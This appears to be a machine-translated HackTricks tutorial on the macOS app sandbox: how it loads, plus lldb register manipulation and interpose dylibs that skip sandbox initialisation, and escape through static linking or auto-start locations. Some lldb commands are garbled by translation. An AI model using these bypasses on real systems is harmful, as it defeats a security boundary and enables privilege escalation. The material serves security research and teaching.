hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md

# macOS沙箱调试与绕过

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## 沙箱加载过程

<figure><img src="../../../../../.gitbook/assets/image (2) (1) (2).png" alt=""><figcaption><p>图片来源：<a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>

在上图中，可以观察到当运行具有权限**`com.apple.security.app-sandbox`**的应用程序时，**沙箱将如何加载**。

编译器将`/usr/lib/libSystem.B.dylib`链接到二进制文件。

然后，**`libSystem.B`**将调用其他几个函数，直到**`xpc_pipe_routine`**将应用程序的权限发送给**`securityd`**。Securityd检查进程是否应该被隔离在沙箱中，如果是，则将被隔离。
最后，通过调用**`__sandbox_ms`**激活沙箱，该函数将调用**`__mac_syscall`**。

## 可能的绕过方法

{% hint style="warning" %}
请注意，**由沙箱进程创建的文件**会附加**隔离属性**，以防止沙箱逃逸。
{% endhint %}

### 在没有沙箱的情况下运行二进制文件

如果从一个有沙箱的二进制文件中运行一个不会被沙箱化的二进制文件，它将**在父进程的沙箱中运行**。

### 使用lldb调试和绕过沙箱

让我们编译一个应该被沙箱化的应用程序：

{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
```
{% tab title="entitlements.xml" %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```
{% tab title="Info.plist" %}

## Info.plist

Info.plist 是 macOS 应用程序包中的一个文件，它包含了应用程序的配置信息和元数据。在沙盒环境中，Info.plist 文件用于定义应用程序的沙盒权限和限制。

以下是一些常见的 Info.plist 键和值，用于配置沙盒环境：

- `com.apple.security.app-sandbox`：设置为 `true` 表示应用程序在沙盒环境中运行。
- `com.apple.security.network.client`：设置为 `true` 表示应用程序可以进行网络通信。
- `com.apple.security.files.user-selected.read-write`：设置为 `true` 表示应用程序可以读写用户选择的文件。
- `com.apple.security.files.downloads.read-write`：设置为 `true` 表示应用程序可以读写下载文件夹中的文件。

通过修改应用程序的 Info.plist 文件，可以调整应用程序在沙盒环境中的权限和限制。但是，需要注意的是，修改 Info.plist 文件可能会违反应用程序的安全策略，并可能导致应用程序无法正常运行。

{% endtab %}
```xml
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

然后编译应用程序：

{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}

{% hint style="danger" %}
该应用程序将尝试**读取**文件**`~/Desktop/del.txt`**，而**沙盒不允许**这样做。\
在那里创建一个文件，一旦绕过沙盒，它就能够读取它：
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}

让我们调试一下国际象棋应用程序，看看沙盒何时加载：
```bash
# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp
# 绕过跳转到b.lo地址之前修改一些寄存器
(lldb) 断点删除 1 # 移除断点
(lldb) 寄存器写入 $pc 0x187659928 # b.lo地址
(lldb) 寄存器写入 $x0 0x00
(lldb) 寄存器写入 $x1 0x00
(lldb) 寄存器写入 $x16 0x17d
(lldb) c
进程 2517 恢复
绕过沙盒！
进程 2517 退出，状态 = 0 (0x00000000)
{% hint style="warning" %}
**即使绕过了沙盒，TCC** 也会询问用户是否允许进程从桌面读取文件
{% endhint %}

### 滥用其他进程

如果从沙盒进程中，你能够**入侵其他运行在较少限制沙盒中（或没有沙盒）的进程**，你将能够逃离到它们的沙盒中：

{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}

### Interposting绕过

有关**Interposting**的更多信息，请查看：

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}

#### Interpost `_libsecinit_initializer`以防止沙盒
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### 拦截 `__mac_syscall` 以防止沙盒

{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### 静态编译和动态链接

[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)发现了两种绕过沙盒的方法。因为沙盒是在用户空间加载**libSystem**库时应用的。如果一个二进制文件能够避免加载它，它就不会被沙盒化：

* 如果二进制文件是**完全静态编译**的，它可以避免加载该库。
* 如果二进制文件不需要加载任何库（因为链接器也在libSystem中），它就不需要加载libSystem。

### Shellcode

请注意，即使是ARM64的shellcode也需要链接到`libSystem.dylib`中：
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### 滥用自动启动位置

如果一个受沙盒限制的进程可以在一个**稍后将要运行非沙盒应用程序的位置写入二进制文件**，它将能够通过将二进制文件**放置在那里来逃脱**。这种位置的一个很好的例子是`~/Library/LaunchAgents`或`/System/Library/LaunchDaemons`。

为此，您可能需要**2个步骤**：使一个具有**更宽松的沙盒**（`file-read*`，`file-write*`）的进程执行您的代码，该代码实际上会写入一个将被**非沙盒执行的位置**。

请查看有关**自动启动位置**的页面：

{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
{% endcontent-ref %}

## 参考资料

* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)

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